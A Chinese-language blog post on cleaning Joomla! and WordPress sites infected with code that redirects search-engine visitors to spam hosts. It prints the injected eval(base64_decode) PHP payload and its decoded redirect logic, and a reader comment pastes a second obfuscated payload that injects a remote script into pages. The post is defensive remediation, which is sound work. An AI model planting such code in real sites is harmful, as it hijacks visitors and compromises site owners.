如何解決網站的搜尋結果被重新導向至 p3p0.com

(8 次投票)

asikart-2010-08-20-1

最近應該很多 Joomla! 與 Wordpress 的網站發生一件奇怪的事情,直接鍵入網址可以正常瀏覽,可是一旦使用google搜尋並點擊搜尋結果,就會被導向至這個網站 p3p0.com 。雖然不影響平時網站的瀏覽,但總是很麻煩,搜尋流量會瞬間銳減,排名評比也可能被降低。

Joomla!123 同樣也遭到入侵了,剛剛已經完成修復。現在來回報一下修複方法,讓其他受害者也可以自行解決。Wordpress同樣適用。

目前已知不只 Joomla! 與 Wordpress ,許多CMS似乎都遭到入侵,詳細原因不明。

 

入侵原理

首先,網站之所以會被重新導向,是因為原始碼中被暗藏了一個 eval() 函式執行駭客自定義的程式碼,一旦來自搜尋引擎就直接導向。

這段程式碼是由 eval(base64_decode(" 開頭。完整代碼如下(在文件中只有一行):

eval(base64_decode("aWYgKHN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiZ29vZ2xlIikpIHsNCglpZiAoIXN0
cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiLm51IikgYW5kICFzdHJpc3RyKCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0s
InNpdGUiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwiaW51cmwiKSl7DQoJCXByZWdfbWF0Y2ggKCIv
cVw9KC4qKS8iLCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sJGtrKTsNCgkJaWYgKHN0cmlzdHIoJGtrWzFdLCImIikpIHsNCgkJ
CXByZWdfbWF0Y2ggKCIvKC4qPylcJi8iLCRra1sxXSwka2V5Mik7DQoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtleTJbMV0p
Ow0KCQl9ZWxzZSB7DQoJCQkka2V5d29yZD11cmxkZWNvZGUoJGtrWzFdKTsNCgkJfQ0KCQloZWFkZXIoIkxvY2F0aW9uOiBo
dHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtleXdvcmQpOw0KCQlleGl0KCk7DQoJfQ0KDQp9ZWxzZWlmIChzdHJpc3Ry
KCRfU0VSVkVSW0hUVFBfUkVGRVJFUl0sInlhaG9vIikpIHsNCnByZWdfbWF0Y2ggKCIvcFw9KC4qPykmLyIsJF9TRVJWRVJb
SFRUUF9SRUZFUkVSXSwka2spOw0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtr
WzFdKTsNCgkJZXhpdCgpOw0KfWVsc2VpZiAoc3RyaXN0cigkX1NFUlZFUltIVFRQX1JFRkVSRVJdLCJiaW5nIikpIHsNCnBy
ZWdfbWF0Y2ggKCIvcVw9KC4qPykmLyIsJF9TRVJWRVJbSFRUUF9SRUZFUkVSXSwka2spOw0KCQloZWFkZXIoIkxvY2F0aW9u
OiBodHRwOi8vbmV3d2F2ZS5vcmdlLnBsLz9xPSIuJGtrWzFdKTsNCgkJZXhpdCgpOw0KfQ=="));
 

 

eval() 的功能是將一段字串當做程式碼執行,而這個被 base64 編碼的字串為:

if (stristr($_SERVER[HTTP_REFERER],"google")) { 
  if (!stristr($_SERVER[HTTP_REFERER],".nu") and !stristr($_SERVER[HTTP_REFERER],"site") 
        and !stristr($_SERVER[HTTP_REFERER],"inurl"))
        { 
    preg_match ("/q\=(.*)/",$_SERVER[HTTP_REFERER],$kk); 
 
    if (stristr($kk[1],"&")) { 
      preg_match ("/(.*?)\&/",$kk[1],$key2); 
      $keyword=urldecode($key2[1]); 
    }else { 
      $keyword=urldecode($kk[1]); 
    } 
 
    header("Location: http://newwave.orge.pl/?q=".$keyword); 
    exit(); 
  } 
}elseif (stristr($_SERVER[HTTP_REFERER],"yahoo")) { 
  preg_match ("/p\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk); 
  header("Location: http://newwave.orge.pl/?q=".$kk[1]); 
  exit(); 
}elseif (stristr($_SERVER[HTTP_REFERER],"bing")) { 
  preg_match ("/q\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk); 
  header("Location: http://newwave.orge.pl/?q=".$kk[1]); 
  exit(); 
}
 

就是這段程式碼將網站重新導向的。目前還沒有人知道這個入侵方法是如何運作的,或是鑽了哪項漏洞,畢竟能廣泛攻擊多種CMS實在不容易,也有可能其實是主機方面的漏洞。總而言之一旦被重新導向,就是這段程式碼在作怪。

 

修複方式

這邊先以 Joomla! 為主,通常會有三個文件遭到更改,分別為:

  • index.php
  • configuration.php
  • liberies / define.php

請打開您網站的這三個文件來修改,就在文件的第一行。

asikart-2010-08-20-2

以這張來說,別看到什麼都沒有就很開心的關掉了,以為什麼事都沒發生。魔鬼就在下方的捲動條

asikart-2010-08-20-3

我們把文件向右捲,就會發現被更改的代碼在這兒。現在讓我們把它刪除吧。

如果沒有任何失誤的話,你的網站應該復原了,下一步動作,請立即下載最新版Joomla!更新您的網站。並儘可能將外掛元件等等更新的最安全的版本。

 

Wordpress 呢?

好啦,我跟其他CMS不熟,但還是可以解決的。

你必須先有一個能夠做檔案批次全文搜尋的文字編輯器,推薦用 pspad 。將你的網站整個下載回電腦中,用編輯器搜尋整個資料夾。

eval(base64_decodeeval (base64_decode 來當做關鍵字搜尋看看。如果找不到,就直接搜尋 eval ,然後將結果一個檔案一個檔案的檢查看看。

(同樣的,Joomla!依照上面的方法修復後問題還沒解決的話,也可以用搜尋的)

 

將搜尋到的可疑代碼刪除掉,放回網站上吧。然後記得更新至最新版。

 

後記

在這邊發出來也是為了協助其他被攻擊者修復網站。因為關於這次攻擊的中文資料確實不多,事實上中文網站似乎很少被攻擊的樣子。

問題解決是一回事,層出不窮的攻擊手法就真的很惱人。Joomla!123光今年已經遭到3次以上的攻擊了,還有幾次是因為主機商的漏洞。

希望相關的網路安全高手或者CMS的開發社群能夠儘快找到並解決這個問題吧。

 


建立0rz短址
Related Posts with Thumbnails

文章回應

avatar gn898040
0
 
 
網站昨日發現被植入不明程式碼,開啟網站經過NOD32發現有病毒
經過努力後終於找到被修改好多地方
被修改的檔案超過100個以上大部分集中在administrator資料夾內
被植入程式碼
eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5dFpYRmhjMmh2Y0hCbGNtOXViR2x1WlM1amIyMHZiVzB1Y0dod0lqNDhMM05qY21sd2REND0iKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgICB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgICAgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEzRDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KXsgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZmxhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICAgICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09RkFMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgICAgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkvc2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgICAgICByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgICAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));

目前正嘗試把網站所有檔案下載回來,把被植入代碼刪除掉,並且更新所有元件以及模組
請登入後回應